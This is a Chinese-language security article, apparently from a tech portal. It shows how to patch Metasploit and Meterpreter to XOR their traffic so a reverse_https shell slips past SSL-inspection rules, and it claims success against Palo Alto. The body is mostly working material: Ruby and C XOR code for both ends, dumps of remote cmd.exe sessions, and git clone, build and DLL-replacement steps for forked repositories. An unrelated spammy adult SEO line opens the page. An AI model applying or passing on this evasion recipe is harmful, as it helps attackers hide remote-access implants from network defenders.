自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Meterpreter:逃避SSL檢測

安全 應(yīng)用安全 黑客攻防
當(dāng)執(zhí)行滲透測試時,SSL檢測或許會讓你頭疼整整一天。這里有一個概念驗證,如何調(diào)整Metasploit源來逃避SSL檢測。

當(dāng)執(zhí)行滲透測試時,SSL檢測或許會讓你頭疼整整一天。這里有一個概念驗證,如何調(diào)整Metasploit源來逃避SSL檢測。

[[137140]]

該方法親測有效!成功的繞過了Palo Alto的anti-meterpreter 報警策略。

SSL檢測本是用來執(zhí)行中間人攻擊,因此其能夠看到純文本形式的數(shù)據(jù)包。如果你在Meterpreter會話中檢測流量,你會發(fā)現(xiàn)編寫識別Meterpreter的規(guī)則十分簡單。

通過在MSF代碼中增加一個Puts,我們可以轉(zhuǎn)儲原始數(shù)據(jù)。

當(dāng)你drop shell的時候,這個數(shù)據(jù)從MSF發(fā)送給Meterpreter是這樣的:

[*] Starting interaction with 1...

meterpreter > shell
"\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00#\x00\x01\x00\x01stdapi_sys_process_execute\x00\x00\x00\x00)\x00\x01\x00\x0203778337146806943879568977592220\x00\x00\x00\x00$\x00\x01\b\xFEC:\\Windows\\system32\\cmd.exe\x00\x00\x00\x00\f\x00\x02\t\x00\x00\x00\x00\v"
Process 4012 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\student\Desktop>

仔細看看這些數(shù)據(jù),你能找出TLV數(shù)據(jù),一個獨特的ID,最重要的是遠程函數(shù)調(diào)用以及該函數(shù)的參數(shù)。如果你在編寫一個攔截Meterpreter的規(guī)則,肯定會觸發(fā)一個警報,因為在數(shù)據(jù)包中包含字符串“stdapi_sys_process_execute”.

偽裝數(shù)據(jù)

知道了這些,就能將數(shù)據(jù)偽裝通過引擎檢測。最普遍的方法是使用XOR,主要是它很快,可逆性,且不會改變數(shù)據(jù)長度(Base64會增加長度)等特性。在其向外擴展之前我們要做的就是XOR數(shù)據(jù)(記住,這需要在Meterpreter和MSF同時完成)

下面是在MSF接收方添加代碼

def dispatch_request(cli, request)  

xor_byte = request.raw_uri[7]  
xored_body = String.new  
i = 0  

request.body.each_byte do |b|    
# don't touch the TlvHeader (first 8 bytes)    if i > 7      
xored_body << (b.ord ^ xor_byte.ord).chr    
else      
xored_body << b    
end    
i += 1  
end  
# use the new string  request.body = xored_body

在Meterpreter接收方:

ULONG i = 0;for (; i < payloadLength; ++i)    
payload[i] ^= xorByte;

記住,只要兩邊xor_byte/xorByte變量的值相同,那么變量的值就不重要了,因為兩方都知道這個隨機生成的URI。

對添加的代碼進行模糊處理,再次使用shell命令就不會遇到煩人的“stdapi_sys_process_execute”字符串:

[*] Starting interaction with 1...
meterpreter > shell
"\x00\x00\x00\x84\x00\x00\x00\x00lllOlmlm\x1F\x18\b\r\x1C\x053\x1F\x15\x1F3\x1C\x1E\x03\x0F\t\x1F\x1F3\t\x14\t\x0F\x19\x18\tllllElmlnYXXT__[TYX[^U_]]T_\\^\\_YZYY\\X\\X\\[llllHlmd\x92/V0;\x05\x02\b\x03\e\x1F0\x1F\x15\x1F\x18\t\x01_^0\x0F\x01\bB\t\x14\tllll`lnellllg"
Process 3736 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. 
All rights reserved.
C:\Users\student\Desktop>

這樣設(shè)置是需要你重新生成Meterpreter DLLs的,詳情可以參考rapid7

在Windows中,你首先需要:

$ git clone  https://github.com/rwhitcroft/meterpreter
$ cd meterpreter
$ git submodule init && git submodule update
$ git checkout evade_ssl_inspection

接著在命令行入口,運行make x64生成DLLs。它將被放置在output/x64/文件夾下面,將其復(fù)制到/opt/metasploit-framework/data/meterpreter/覆蓋掉MSF默認(rèn)的DLLs(并非所有的DLLs都需要復(fù)制,但為了簡單操作,就全部復(fù)制了)

在MSF端:

$ git clone https://github.com/rwhitcroft/metasploit-framework
$ cd metasploit-framework
$ bundle install
$ git checkout evade_ssl_inspection

就這樣,你現(xiàn)在可以像往常一樣運行msfconsole,并且還可以逃避SSL檢測。

記住,這僅適用于windows/x64/meterpreter/reverse_https payload,因為這是我的最愛。將該功能添加到reverse_tcp,同樣能夠達到這樣的效果。

責(zé)任編輯:藍雨淚
相關(guān)推薦

2012-11-19 13:25:21

2019-02-19 09:25:42

2020-09-21 06:47:11

勒索軟件VMMaze

2024-01-03 17:32:53

2017-05-02 15:50:49

2023-06-25 18:00:00

人工智能ChatGPT網(wǎng)絡(luò)安全

2015-04-22 15:24:31

2012-12-26 09:42:51

2023-11-08 14:23:55

2021-03-16 10:36:38

網(wǎng)絡(luò)釣魚安全檢測網(wǎng)絡(luò)安全

2025-03-27 07:00:00

惡意軟件移動安全網(wǎng)絡(luò)安全

2016-11-13 16:46:49

2013-03-27 09:36:49

2024-08-06 09:48:49

2010-09-08 10:54:37

2019-11-24 23:32:10

DDoS攻擊網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)威脅

2021-08-14 20:25:12

Shell攻擊檢測逃避

2023-02-17 10:57:17

2015-02-27 16:10:25

2018-10-26 14:10:21

點贊
收藏

51CTO技術(shù)棧公眾號